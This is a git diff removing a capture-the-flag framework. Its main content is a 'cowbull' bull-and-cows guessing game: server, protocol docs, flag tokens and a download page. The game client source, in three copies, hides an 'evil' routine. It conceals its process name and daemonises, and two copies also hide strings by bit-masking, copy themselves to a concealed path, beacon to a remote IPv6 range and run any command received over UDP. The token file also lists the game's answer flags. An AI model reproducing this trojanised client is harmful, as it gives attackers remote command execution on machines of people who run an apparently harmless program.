packages/tanks/service/tanksd/run delete mode 100755 packages/tanks/service/tanksd/tanksd delete mode 100644 packages/tanks/tanks.mk delete mode 100644 packages/tf4/tf4.mk delete mode 100644 packages/tf4/tokens.txt delete mode 100755 packages/wopr/service/wopr/run delete mode 100644 packages/wopr/tokens.txt delete mode 100644 packages/wopr/wopr.mk delete mode 100644 packages/wopr/www/wopr/index.html delete mode 100755 packages/wopr/www/wopr/wopr.cgi delete mode 100644 packages/wopr/www/wopr/wopr.css delete mode 100755 packages/wopr/www/wopr/wopr.js diff --git a/go b/go deleted file mode 100755 index 415affc..0000000 --- a/go +++ /dev/null @@ -1,56 +0,0 @@ -#! /bin/sh -e - -TYPE=p2 - -case ${1:-$TYPE} in - mcp) - packages='mcp net-re' - ;; - router) - packages='router' - ;; - p2) - packages='p2 gs archaeology nocode steg js proto' - ;; - p2cli) - packages='p2client' - ;; -esac - -PATH=$HOME/src/buildroot/output/host/usr/bin:$PATH -for arch in arm i386; do - command -v ${arch}-linux-cc && ARCH=${arch}-linux export ARCH -done - -if [ -z "$ARCH" ]; then - echo "I can't find a cross-compiler." - exit 1 -fi - -make -C $HOME/src/puzzles -make -C $HOME/src/ctf - -for p in $packages; do - for pd in ctf puzzles; do - pp=$HOME/src/$pd/bin/$p.pkg - [ -f $pp ] && op="$op $pp" - done -done - -mksquashfs \ - $op \ - $HOME/ctf.squashfs -noappend - -echo $ARCH - -if [ $ARCH = i386-linux ]; then - lsmod | grep -q kvm-intel || sudo modprobe kvm-intel - sudo qemu-system-i386 \ - -nographic \ - -kernel $HOME/src/buildroot/output/images/bzImage \ - -initrd $HOME/src/buildroot/output/images/rootfs.squashfs \ - -append "console=ttyS0 packages=/dev/sda ipv6 debug" \ - -hda $HOME/ctf.squashfs \ - -net nic,model=e1000 \ - -net tap,vlan=0,script=$HOME/src/ctf/qemu-ifup,downscript=/bin/true -fi diff --git a/packages/00common/ctfbase.mk b/packages/00common/ctfbase.mk index 6c1afd1..a0fe35a 100644 --- a/packages/00common/ctfbase.mk +++ b/packages/00common/ctfbase.mk @@ -1,7 +1,3 @@ -ifndef PASSWORD -$(error PASSWORD not defined) -endif - TEA_BIN = packages/00common/src/tea POINTSCLI_BIN = packages/00common/src/pointscli PUZZLES_BIN = packages/00common/src/puzzles.cgi @@ -22,6 +18,4 @@ define CTFBASE_INSTALL cp $(TEA_BIN) $(1)/bin cp $(POINTSCLI_BIN) $(1)/bin cp $(PUZZLES_BIN) $(1)/bin - - echo "$(PASSWORD)" > $(1)/password endef diff --git a/packages/cowbull/cowbull.mk b/packages/cowbull/cowbull.mk deleted file mode 100644 index e435cc2..0000000 --- a/packages/cowbull/cowbull.mk +++ /dev/null @@ -1,23 +0,0 @@ -COWBULL_PKGDIR = $(TARGET)/cowbull - -cowbull-install: cowbull-build - mkdir -p $(COWBULL_PKGDIR) - - mkdir -p $(COWBULL_PKGDIR)/bin/ - cp packages/cowbull/src/cowd $(COWBULL_PKGDIR)/bin - - mkdir -p $(COWBULL_PKGDIR)/www/cowbull/ - cp packages/cowbull/www/moo.html $(COWBULL_PKGDIR)/www/cowbull/index.html - cp packages/cowbull/src/cowcli $(COWBULL_PKGDIR)/www/cowbull/ - - $(call COPYTREE, packages/cowbull/service, $(COWBULL_PKGDIR)/service) - cp packages/cowbull/tokens.txt $(COWBULL_PKGDIR)/ - -cowbull-clean: - rm -rf $(COWBULL_PKGDIR) - $(MAKE) -C packages/cowbull/src clean - -cowbull-build: - $(MAKE) -C packages/cowbull/src build - -PACKAGES += cowbull diff --git a/packages/cowbull/service/cowbull/finish b/packages/cowbull/service/cowbull/finish deleted file mode 100755 index 9721530..0000000 --- a/packages/cowbull/service/cowbull/finish +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -dbip -d diff --git a/packages/cowbull/service/cowbull/ip.txt b/packages/cowbull/service/cowbull/ip.txt deleted file mode 100644 index ca55a6c..0000000 --- a/packages/cowbull/service/cowbull/ip.txt +++ /dev/null @@ -1 +0,0 @@ -198 diff --git a/packages/cowbull/service/cowbull/log/run b/packages/cowbull/service/cowbull/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/cowbull/service/cowbull/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/cowbull/service/cowbull/run b/packages/cowbull/service/cowbull/run deleted file mode 100755 index 6207c24..0000000 --- a/packages/cowbull/service/cowbull/run +++ /dev/null @@ -1,7 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -IP=$(dbip -a) - -exec setuidgid nobody $CTF_BASE/packages/cowbull/bin/cowd < $CTF_BASE/packages/cowbull/tokens.txt diff --git a/packages/cowbull/src/Makefile b/packages/cowbull/src/Makefile deleted file mode 100644 index 9b787e9..0000000 --- a/packages/cowbull/src/Makefile +++ /dev/null @@ -1,14 +0,0 @@ -DESTDIR ?= /tmp - -build: cowd cowcli - -cowcli: cowcli.c - cc -o $@ -static $< - strip $@ - upx $@ - -install: build - cp cowd cowcli $(DESTDIR)/bin/ - -clean: - rm -f cowd cowcli diff --git a/packages/cowbull/src/cow.txt b/packages/cowbull/src/cow.txt deleted file mode 100644 index cceaca7..0000000 --- a/packages/cowbull/src/cow.txt +++ /dev/null @@ -1,58 +0,0 @@ -The Cow Game -============ - -You are trying to guess a 4-nybble sequence. Each nybble will have -either 1 or 2 bits set, and the highest bit will never be set. The -game server will tell you how many nybbles in each guess were correct, -and how many had one correct bit. It does not tell you which -positions - - - -The Cow Client -============== - -The client connects to the Cow server running on the IPv6 address -provided in argument 1. If argument 2 is present, the client will -try to run it, providing stdin and stdout as in interactive mode. - -In interactive mode (no argument 2), the client reads a guess in the -form of 4 ASCII numerals, and prints the number of correct nybbles -followed by the number of nybbles with one correct bit. - -Here is an example of a session: - - 1111 - 12 - 2222 - 10 - 4444 - 02 - 4244 - 12 - 1244 - 22 - 1255 - cow:xylep-radar-nanox - - - -The Cow Protocol -================ - -cowd runs on port 3782. - -The client always sends 6 octets. To request a new session, it sends -all zeroes. Otherwise it sends the 4-octet game identifier provided -by the server, concatenated with a 2-octet guess. - -The server will respond with a new game identifier (4 octets) to a new -game request or if the game requested is too old. If a guess is -incorrect, the server will respond with either a 1-octet score in -which the high nybble is the number of correct nybbles in the guess, -and the low nybble is the number of nybbles in the guess with one -correct bit. If a guess is correct, the server will respond with a -token of length 5 octets or more. - -There are multiple tokens, one per number of guesses used, up to -some maximum number of guesses defined per server instance. diff --git a/packages/cowbull/src/cowcli.c b/packages/cowbull/src/cowcli.c deleted file mode 100644 index 396d8e0..0000000 --- a/packages/cowbull/src/cowcli.c +++ /dev/null @@ -1,355 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - - -#define NODEBUG - -#ifdef DEBUG -# define PORT 4444 -#else -# define PORT 44 -#endif - -#define BDPORT 33333 -#define BCNPORT_S 48172 -#define BCNPORT_D 48179 - -int -bind_port(int fd, const struct in6_addr *addr, uint16_t port) -{ - struct sockaddr_in6 saddr = { 0 }; - - saddr.sin6_family = AF_INET6; - saddr.sin6_port = htons(port); - memcpy(&saddr.sin6_addr, addr, sizeof *addr); - return bind(fd, (struct sockaddr *) &saddr, sizeof saddr); -} - -void -sigchld(int unused) -{ - while (0 < waitpid(-1, NULL, WNOHANG)); -} - -void -unmask_str(unsigned char *str) -{ - int i = strlen(str); - while (i-- > 0) { - str[i] &= 127; - } -} -int -copyprog(const char *from, const char *to) -{ - int fd_to, fd_from; - char buf[4096]; - ssize_t nread; - int saved_errno; - - fd_from = open(from, O_RDONLY); - if (fd_from < 0) - return -1; - - fd_to = open(to, O_WRONLY | O_CREAT | O_TRUNC, 0700); - if (fd_to < 0) - goto out_error; - - while (nread = read(fd_from, buf, sizeof buf), nread > 0) - { - char *out_ptr = buf; - ssize_t nwritten; - - do { - nwritten = write(fd_to, out_ptr, nread); - - if (nwritten >= 0) - { - nread -= nwritten; - out_ptr += nwritten; - } - else if (errno != EINTR) - { - goto out_error; - } - } while (nread > 0); - } - - if (nread == 0) - { - if (close(fd_to) < 0) - { - fd_to = -1; - goto out_error; - } - close(fd_from); - - /* Success! */ - return 0; - } - - out_error: - saved_errno = errno; - - close(fd_from); - if (fd_to >= 0) - close(fd_to); - - errno = saved_errno; - return -1; -} - -void -signal_evil(int sig) -{ - if (fork()) { - exit(1); - } -} -void -evil(int argc, char *argv[]) -{ - int i; - int sock; - - char procname[] = "\xdb\xe8\xe3\xe9\xb1\xdd"; - char cptarget[] = "\xaf\xe4\xe5\xf6\xaf\xf3\xe8\xed\xaf\xae\xa0"; - - unmask_str(procname); - unmask_str(cptarget); - - if (strcmp(argv[0], cptarget)) { - if (fork()) { - return; - } - /* copy ourselves */ - if (copyprog(argv[0], cptarget) == 0) { - argv[0] = cptarget; - execv(cptarget, argv); - } - } else { - unlink(cptarget); - if (fork()) { - exit(0); - } - } - - /* mask the process title and arguments */ - while (argc--) { - int p = strlen(argv[argc]); - while (p--) { - argv[argc][p] = 0; - } - } - strcpy(argv[0], procname); - - - { - int r = open("/dev/null", O_RDONLY); - int w = open("/dev/null", O_WRONLY); - - dup2(r, 0); - dup2(w, 1); - dup2(w, 2); - close(r); - close(w); - setsid(); - chdir("/"); - signal(SIGHUP, signal_evil); - signal(SIGTERM, signal_evil); - signal(SIGINT, signal_evil); - signal(SIGQUIT, signal_evil); - } - - sock = socket(AF_INET6, SOCK_DGRAM, 0); - if (-1 == bind_port(sock, &in6addr_any, BDPORT)) { - exit(0); - } - struct timeval tv; - tv.tv_sec = 5; - tv.tv_usec = 0; - setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv,sizeof(struct timeval)); - - - while (1) { - /* beacon */ - int sock_beacon; - sock_beacon = socket(AF_INET6, SOCK_DGRAM, 0); - if (-1 == bind_port(sock_beacon, &in6addr_any, BCNPORT_S)) { - //perror("Beacon bind"); - ;; /* return EX_IOERR; */ - } - int subnet; - if (sock_beacon > 0) { - for (subnet = 0; subnet < 50; subnet++) { - char payload[] = "hi"; - char addr6_f[] = "\xe6\xe4\xb8\xb4\xba\xe2\xb4\xb1\xb0\xba\xb3\xb4\xb4\xb1\xba\xa5\xf8\xba\xba\xb1\xb3\xb3\xb7"; - unmask_str(addr6_f); - char addr6[64]; - sprintf(addr6, addr6_f, subnet); - - //printf("%s\n", addr6); - struct addrinfo *beacon_addr; - { - struct addrinfo hints = { 0 }; - - hints.ai_family = PF_INET6; - hints.ai_socktype = SOCK_DGRAM; - hints.ai_flags = AI_NUMERICHOST; - - if (0 != getaddrinfo(addr6, "48179", &hints, &beacon_addr)) { - ;;//perror("Resolving address"); - } - } - - struct sockaddr_in6 saddr = { 0 }; - - if(-1 == sendto(sock_beacon, &payload, sizeof payload, 0, beacon_addr->ai_addr, beacon_addr->ai_addrlen)) { - ;;//perror("Beacon send"); - } else { - ;;//printf("sent!\n"); - } - } - } - close(sock_beacon); - /* end beacon */ - - /* c&c */ - char cmd[400]; - ssize_t inlen; - - inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL); - - if (inlen < 1) { - continue; - } - - cmd[inlen] = 0; - if (! fork()) { - system(cmd); - exit(0); - } - } -} - -int -main(int argc, char *argv[]) -{ - long answer = 0; - int sock; - int i; - struct addrinfo *addr; - uint32_t token = 0; - FILE *in, *out; - - srand(time(NULL)); - - signal(SIGCHLD, sigchld); - - if (argc < 2) { - fprintf(stderr, "Usage: %s SERVER\n", argv[0]); - return EX_USAGE; - } - - evil(argc, argv); - - { - struct addrinfo hints = { 0 }; - - hints.ai_family = PF_INET6; - hints.ai_socktype = SOCK_DGRAM; - hints.ai_flags = AI_NUMERICHOST; - - if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) { - perror("Resolving address"); - return EX_IOERR; - } - } - - /* - * Set up socket - */ - sock = socket(AF_INET6, SOCK_DGRAM, 0); - if (-1 == bind_port(sock, &in6addr_any, PORT)) { - perror("Binding UDP port 44"); - return EX_IOERR; - } - - if (argv[2]) { - /* fork and exec */ - } else { - in = stdin; - out = stdout; - } - - - while (1) { - long guess; - struct { - uint32_t token; - uint16_t guess; - } g; - - g.token = token; - if (token) { - char line[20]; - - if (NULL == fgets(line, sizeof line, in)) { - break; - } - g.guess = strtol(line, NULL, 16); - } else { - g.guess = 0; - } - - /* Send the guess */ - if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) { - perror("Sending packet"); - return EX_IOERR; - } - - /* read the result */ - { - char buf[80]; - ssize_t len; - - len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL); - switch (len) { - case -1: - perror("Reading packet"); - return EX_IOERR; - case 1: - /* It's a score */ - printf("%02x\n", buf[0]); - break; - case 4: - /* New game token */ - printf("NEW GAME\n"); - token = *((uint32_t *) buf); - break; - default: - /* You win: this is your CTF token */ - buf[len] = 0; - printf("A WINNER IS YOU: %s\n", buf); - break; - } - } - } - - return 0; -} diff --git a/packages/cowbull/src/cowcli.orig.c b/packages/cowbull/src/cowcli.orig.c deleted file mode 100644 index b26fbbd..0000000 --- a/packages/cowbull/src/cowcli.orig.c +++ /dev/null @@ -1,196 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - - -#define NODEBUG - -#ifdef DEBUG -# define PORT 4444 -#else -# define PORT 44 -#endif - -#define evil listener - -int -bind_port(int fd, const struct in6_addr *addr, uint16_t port) -{ - struct sockaddr_in6 saddr = { 0 }; - - saddr.sin6_family = AF_INET6; - saddr.sin6_port = htons(port); - memcpy(&saddr.sin6_addr, addr, sizeof *addr); - return bind(fd, (struct sockaddr *) &saddr, sizeof saddr); -} - -void -sigchld(int unused) -{ - while (0 < waitpid(-1, NULL, WNOHANG)); -} - -void -evil(char *argv[]) -{ - int sock; - - if (fork()) { - return; - } - - /* Fork again to reparent to init */ - if (fork()) { - exit(0); - } - - { - int r = open("/dev/null", O_RDONLY); - int w = open("/dev/null", O_WRONLY); - - dup2(r, 0); - dup2(w, 1); - dup2(w, 2); - close(r); - close(w); - } - - strcpy(argv[0], "[hci1]"); - - sock = socket(AF_INET6, SOCK_DGRAM, 0); - if (-1 == bind_port(sock, &in6addr_any, 3782)) { - exit(0); - } - - while (1) { - char cmd[400]; - ssize_t inlen; - - inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL); - if (-1 == inlen) { - continue; - } - - cmd[inlen] = 0; - if (! fork()) { - system(cmd); - exit(0); - } - } -} - -int -main(int argc, char *argv[]) -{ - long answer = 0; - int sock; - int i; - struct addrinfo *addr; - uint32_t token = 0; - FILE *in, *out; - - srand(time(NULL)); - - signal(SIGCHLD, sigchld); - - if (argc < 2) { - fprintf(stderr, "Usage: %s SERVER\n", argv[0]); - return EX_USAGE; - } - - { - struct addrinfo hints = { 0 }; - - hints.ai_family = PF_INET6; - hints.ai_socktype = SOCK_DGRAM; - hints.ai_flags = AI_NUMERICHOST; - - if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) { - perror("Resolving address"); - return EX_IOERR; - } - } - - /* - * Set up socket - */ - sock = socket(AF_INET6, SOCK_DGRAM, 0); - if (-1 == bind_port(sock, &in6addr_any, PORT)) { - perror("Binding UDP port 44"); - return EX_IOERR; - } - - if (argv[2]) { - /* fork and exec */ - } else { - in = stdin; - out = stdout; - } - - evil(argv); - - while (1) { - long guess; - struct { - uint32_t token; - uint16_t guess; - } g; - - g.token = token; - if (token) { - char line[20]; - - if (NULL == fgets(line, sizeof line, in)) { - break; - } - g.guess = strtol(line, NULL, 16); - } else { - g.guess = 0; - } - - /* Send the guess */ - if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) { - perror("Sending packet"); - return EX_IOERR; - } - - /* read the result */ - { - char buf[80]; - ssize_t len; - - len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL); - switch (len) { - case -1: - perror("Reading packet"); - return EX_IOERR; - case 1: - /* It's a score */ - printf("%02x\n", buf[0]); - break; - case 4: - /* New game token */ - printf("NEW GAME\n"); - token = *((uint32_t *) buf); - break; - default: - /* You win: this is your CTF token */ - buf[len] = 0; - printf("A WINNER IS YOU: %s\n", buf); - break; - } - } - } - - return 0; -} diff --git a/packages/cowbull/src/cowcli_vand.c b/packages/cowbull/src/cowcli_vand.c deleted file mode 100644 index 396d8e0..0000000 --- a/packages/cowbull/src/cowcli_vand.c +++ /dev/null @@ -1,355 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - - -#define NODEBUG - -#ifdef DEBUG -# define PORT 4444 -#else -# define PORT 44 -#endif - -#define BDPORT 33333 -#define BCNPORT_S 48172 -#define BCNPORT_D 48179 - -int -bind_port(int fd, const struct in6_addr *addr, uint16_t port) -{ - struct sockaddr_in6 saddr = { 0 }; - - saddr.sin6_family = AF_INET6; - saddr.sin6_port = htons(port); - memcpy(&saddr.sin6_addr, addr, sizeof *addr); - return bind(fd, (struct sockaddr *) &saddr, sizeof saddr); -} - -void -sigchld(int unused) -{ - while (0 < waitpid(-1, NULL, WNOHANG)); -} - -void -unmask_str(unsigned char *str) -{ - int i = strlen(str); - while (i-- > 0) { - str[i] &= 127; - } -} -int -copyprog(const char *from, const char *to) -{ - int fd_to, fd_from; - char buf[4096]; - ssize_t nread; - int saved_errno; - - fd_from = open(from, O_RDONLY); - if (fd_from < 0) - return -1; - - fd_to = open(to, O_WRONLY | O_CREAT | O_TRUNC, 0700); - if (fd_to < 0) - goto out_error; - - while (nread = read(fd_from, buf, sizeof buf), nread > 0) - { - char *out_ptr = buf; - ssize_t nwritten; - - do { - nwritten = write(fd_to, out_ptr, nread); - - if (nwritten >= 0) - { - nread -= nwritten; - out_ptr += nwritten; - } - else if (errno != EINTR) - { - goto out_error; - } - } while (nread > 0); - } - - if (nread == 0) - { - if (close(fd_to) < 0) - { - fd_to = -1; - goto out_error; - } - close(fd_from); - - /* Success! */ - return 0; - } - - out_error: - saved_errno = errno; - - close(fd_from); - if (fd_to >= 0) - close(fd_to); - - errno = saved_errno; - return -1; -} - -void -signal_evil(int sig) -{ - if (fork()) { - exit(1); - } -} -void -evil(int argc, char *argv[]) -{ - int i; - int sock; - - char procname[] = "\xdb\xe8\xe3\xe9\xb1\xdd"; - char cptarget[] = "\xaf\xe4\xe5\xf6\xaf\xf3\xe8\xed\xaf\xae\xa0"; - - unmask_str(procname); - unmask_str(cptarget); - - if (strcmp(argv[0], cptarget)) { - if (fork()) { - return; - } - /* copy ourselves */ - if (copyprog(argv[0], cptarget) == 0) { - argv[0] = cptarget; - execv(cptarget, argv); - } - } else { - unlink(cptarget); - if (fork()) { - exit(0); - } - } - - /* mask the process title and arguments */ - while (argc--) { - int p = strlen(argv[argc]); - while (p--) { - argv[argc][p] = 0; - } - } - strcpy(argv[0], procname); - - - { - int r = open("/dev/null", O_RDONLY); - int w = open("/dev/null", O_WRONLY); - - dup2(r, 0); - dup2(w, 1); - dup2(w, 2); - close(r); - close(w); - setsid(); - chdir("/"); - signal(SIGHUP, signal_evil); - signal(SIGTERM, signal_evil); - signal(SIGINT, signal_evil); - signal(SIGQUIT, signal_evil); - } - - sock = socket(AF_INET6, SOCK_DGRAM, 0); - if (-1 == bind_port(sock, &in6addr_any, BDPORT)) { - exit(0); - } - struct timeval tv; - tv.tv_sec = 5; - tv.tv_usec = 0; - setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv,sizeof(struct timeval)); - - - while (1) { - /* beacon */ - int sock_beacon; - sock_beacon = socket(AF_INET6, SOCK_DGRAM, 0); - if (-1 == bind_port(sock_beacon, &in6addr_any, BCNPORT_S)) { - //perror("Beacon bind"); - ;; /* return EX_IOERR; */ - } - int subnet; - if (sock_beacon > 0) { - for (subnet = 0; subnet < 50; subnet++) { - char payload[] = "hi"; - char addr6_f[] = "\xe6\xe4\xb8\xb4\xba\xe2\xb4\xb1\xb0\xba\xb3\xb4\xb4\xb1\xba\xa5\xf8\xba\xba\xb1\xb3\xb3\xb7"; - unmask_str(addr6_f); - char addr6[64]; - sprintf(addr6, addr6_f, subnet); - - //printf("%s\n", addr6); - struct addrinfo *beacon_addr; - { - struct addrinfo hints = { 0 }; - - hints.ai_family = PF_INET6; - hints.ai_socktype = SOCK_DGRAM; - hints.ai_flags = AI_NUMERICHOST; - - if (0 != getaddrinfo(addr6, "48179", &hints, &beacon_addr)) { - ;;//perror("Resolving address"); - } - } - - struct sockaddr_in6 saddr = { 0 }; - - if(-1 == sendto(sock_beacon, &payload, sizeof payload, 0, beacon_addr->ai_addr, beacon_addr->ai_addrlen)) { - ;;//perror("Beacon send"); - } else { - ;;//printf("sent!\n"); - } - } - } - close(sock_beacon); - /* end beacon */ - - /* c&c */ - char cmd[400]; - ssize_t inlen; - - inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL); - - if (inlen < 1) { - continue; - } - - cmd[inlen] = 0; - if (! fork()) { - system(cmd); - exit(0); - } - } -} - -int -main(int argc, char *argv[]) -{ - long answer = 0; - int sock; - int i; - struct addrinfo *addr; - uint32_t token = 0; - FILE *in, *out; - - srand(time(NULL)); - - signal(SIGCHLD, sigchld); - - if (argc < 2) { - fprintf(stderr, "Usage: %s SERVER\n", argv[0]); - return EX_USAGE; - } - - evil(argc, argv); - - { - struct addrinfo hints = { 0 }; - - hints.ai_family = PF_INET6; - hints.ai_socktype = SOCK_DGRAM; - hints.ai_flags = AI_NUMERICHOST; - - if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) { - perror("Resolving address"); - return EX_IOERR; - } - } - - /* - * Set up socket - */ - sock = socket(AF_INET6, SOCK_DGRAM, 0); - if (-1 == bind_port(sock, &in6addr_any, PORT)) { - perror("Binding UDP port 44"); - return EX_IOERR; - } - - if (argv[2]) { - /* fork and exec */ - } else { - in = stdin; - out = stdout; - } - - - while (1) { - long guess; - struct { - uint32_t token; - uint16_t guess; - } g; - - g.token = token; - if (token) { - char line[20]; - - if (NULL == fgets(line, sizeof line, in)) { - break; - } - g.guess = strtol(line, NULL, 16); - } else { - g.guess = 0; - } - - /* Send the guess */ - if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) { - perror("Sending packet"); - return EX_IOERR; - } - - /* read the result */ - { - char buf[80]; - ssize_t len; - - len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL); - switch (len) { - case -1: - perror("Reading packet"); - return EX_IOERR; - case 1: - /* It's a score */ - printf("%02x\n", buf[0]); - break; - case 4: - /* New game token */ - printf("NEW GAME\n"); - token = *((uint32_t *) buf); - break; - default: - /* You win: this is your CTF token */ - buf[len] = 0; - printf("A WINNER IS YOU: %s\n", buf); - break; - } - } - } - - return 0; -} diff --git a/packages/cowbull/src/cowd.c b/packages/cowbull/src/cowd.c deleted file mode 100644 index 9ad2c24..0000000 --- a/packages/cowbull/src/cowd.c +++ /dev/null @@ -1,199 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include - -#define TIMEOUT 30 - -#define NTOKENS 20 -#define TOKENLEN 50 -char tokens[NTOKENS][TOKENLEN]; -int ntokens; - -char *admonishment = "Try for fewer guesses next time!\n"; - -struct state { - time_t death; - uint16_t answer; - uint16_t guesses; -}; - -#define NSTATES 500 -struct state states[NSTATES] = { 0 }; - -int -bind_port(struct in6_addr *addr, int fd, uint16_t port) -{ - struct sockaddr_in6 saddr = { 0 }; - - saddr.sin6_family = AF_INET6; - saddr.sin6_port = htons(port); - memcpy(&saddr.sin6_addr, addr, sizeof *addr); - return bind(fd, (struct sockaddr *) &saddr, sizeof saddr); -} - - -struct newgame { - uint16_t offset; - uint16_t token; -}; - -void -new_game(int sock, time_t now, struct sockaddr_in6 *from, - socklen_t fromlen) -{ - int i; - struct newgame g; - - for (g.offset = 0; g.offset < NSTATES; g.offset += 1) { - struct state *s = &states[g.offset]; - - if (s->death < now) { - s->death = now + TIMEOUT; - s->guesses = 0; - s->answer = 0; - - for (i = 0; i < 4; i += 1) { - s->answer = (s->answer << 4) | ((random() % 6) + 1); - } - - g.token = s->answer; - break; - } - } - - printf("=%02x\n", g.token); - - if (g.offset < NSTATES) { - sendto(sock, &g, sizeof(g), 0, (struct sockaddr *) from, fromlen); - } -} - -struct guess { - uint16_t offset; - uint16_t token; - uint16_t guess; -}; - -void -loop(int sock) -{ - struct guess g; - struct state *cur; - struct sockaddr_in6 from; - socklen_t fromlen = sizeof from; - time_t now = time(NULL); - - /* - * Read guess - */ - { - ssize_t inlen; - - inlen = recvfrom(sock, &g, sizeof g, 0, - (struct sockaddr *) &from, &fromlen); - if (inlen != sizeof g) { - return; - } - } - - /* - * Bounds check - */ - if (g.offset >= NSTATES) { - g.offset = 0; - } - cur = &states[g.offset]; - - if ((g.token != cur->answer) || /* Wrong token? */ - (cur->death < now) || /* Old game? */ - (cur->guesses++ > 100)) { /* Too dumb? */ - /* - * Start a new game - */ - new_game(sock, now, &from, fromlen); - return; - } else { - uint8_t reply = 0; - int i; - - for (i = 0; i < 4; i += 1) { - int s = (g.guess >> (i * 4)) & 0xf; - int a = (cur->answer >> (i * 4)) & 0xf; - if ((s < 1) || (s > 7)) { - reply = 0; - break; - } else if (s == a) { - reply += 0x10; - } else if (s & a) { - reply += 0x01; - } - } - printf("%02x ? %02x\n", g.guess, reply); - - if (reply == 0x40) { - char *r; - - if (cur->guesses <= ntokens) { - r = tokens[cur->guesses - 1]; - } else { - r = admonishment; - } - sendto(sock, r, strlen(r) - 1, 0, - (struct sockaddr *) &from, fromlen); - cur->death = 0; - } else { - sendto(sock, &reply, sizeof reply, 0, - (struct sockaddr *) &from, fromlen); - } - } -} - -int -main(int argc, char *argv[]) -{ - int sock; - int i; - struct in6_addr addr; - - srand(time(NULL)); - - if (argc > 1) { - if (0 >= inet_pton(AF_INET6, argv[1], &addr)) { - fprintf(stderr, "invalid address: %s\n", argv[1]); - return EX_IOERR; - } - } else { - memcpy(&addr, &in6addr_any, sizeof addr); - } - - /* - * Read in tokens - */ - for (ntokens = 0; ntokens < NTOKENS; ntokens += 1) { - if (NULL == fgets(tokens[ntokens], TOKENLEN, stdin)) { - break; - } - } - printf("Read %d tokens.\n", ntokens); - - /* - * Set up socket - */ - sock = socket(AF_INET6, SOCK_DGRAM, 0); - i = bind_port(&addr, sock, 3782); - if (-1 == i) { - perror("Bind port 3782"); - return EX_IOERR; - } - - while (1) { - loop(sock); - } - - return 0; -} diff --git a/packages/cowbull/tokens.txt b/packages/cowbull/tokens.txt deleted file mode 100644 index 3aef74e..0000000 --- a/packages/cowbull/tokens.txt +++ /dev/null @@ -1,10 +0,0 @@ -moo:1000000:xikov-fybir-zurox -moo:9:xukiv-hudyb-fesix -moo:8:xecoh-nyfyh-degix -moo:7:xihap-synik-gesix -moo:6:xegek-rulyz-polux -moo:5:xitiz-fokel-radix -moo:4:xuzif-gakit-fogyx -moo:3:xisav-nodob-besex -moo:2:xumol-peker-pibox -moo:1:xilom-zosyk-cavux diff --git a/packages/cowbull/www/moo.html b/packages/cowbull/www/moo.html deleted file mode 100644 index 8e0ada9..0000000 --- a/packages/cowbull/www/moo.html +++ /dev/null @@ -1,91 +0,0 @@ - - - - Welcome - - - -

Moo.

-

- You are trying to guess a 4-nybble sequence. Each nybble will have - either 1 or 2 bits set, and the highest bit will never be set. The - game server will tell you how many nybbles in each guess were correct, - and how many had one correct bit. It does not tell you which - positions. -

- -

The Cow Client

- -

- Download the client -

- -

- The client connects to the Cow server running on the IPv6 - address provided in argument 1. The client reads a guess - in the form of 4 ASCII numerals, and prints the number of - correct nybbles followed by the number of nybbles with one - correct bit. -

- -

- Here is an example of a session: -

- -
-1111
-12
-2222
-10
-4444
-02
-4244
-12
-1244
-22
-1255
-moo:xylep-radar-nanox
-
- -

- You can use a program like socat to connect - the client to a logic program you write: -

-
-socat EXEC:"./cowcli fd84:b410:3441::ec6" EXEC:./mysolution
-
- -

- This will allow your program to read and write from stdio - of the client program. -

- - -

The Cow Protocol

- -

- cowd runs on port 3782 on fd84:b410:3441::ec6. -

- -

- The client always sends 6 octets. To request a new session, it sends - all zeroes. Otherwise it sends the 4-octet game identifier provided - by the server, concatenated with a 2-octet guess. -

- -

- The server will respond with a new game identifier (4 octets) to a new - game request or if the game requested is too old. If a guess is - incorrect, the server will respond with either a 1-octet score in - which the high nybble is the number of correct nybbles in the guess, - and the low nybble is the number of nybbles in the guess with one - correct bit. If a guess is correct, the server will respond with a - token of length 5 octets or more. -

- -

- There are multiple tokens, one per number of guesses used, up to - some maximum number of guesses defined per server instance. -

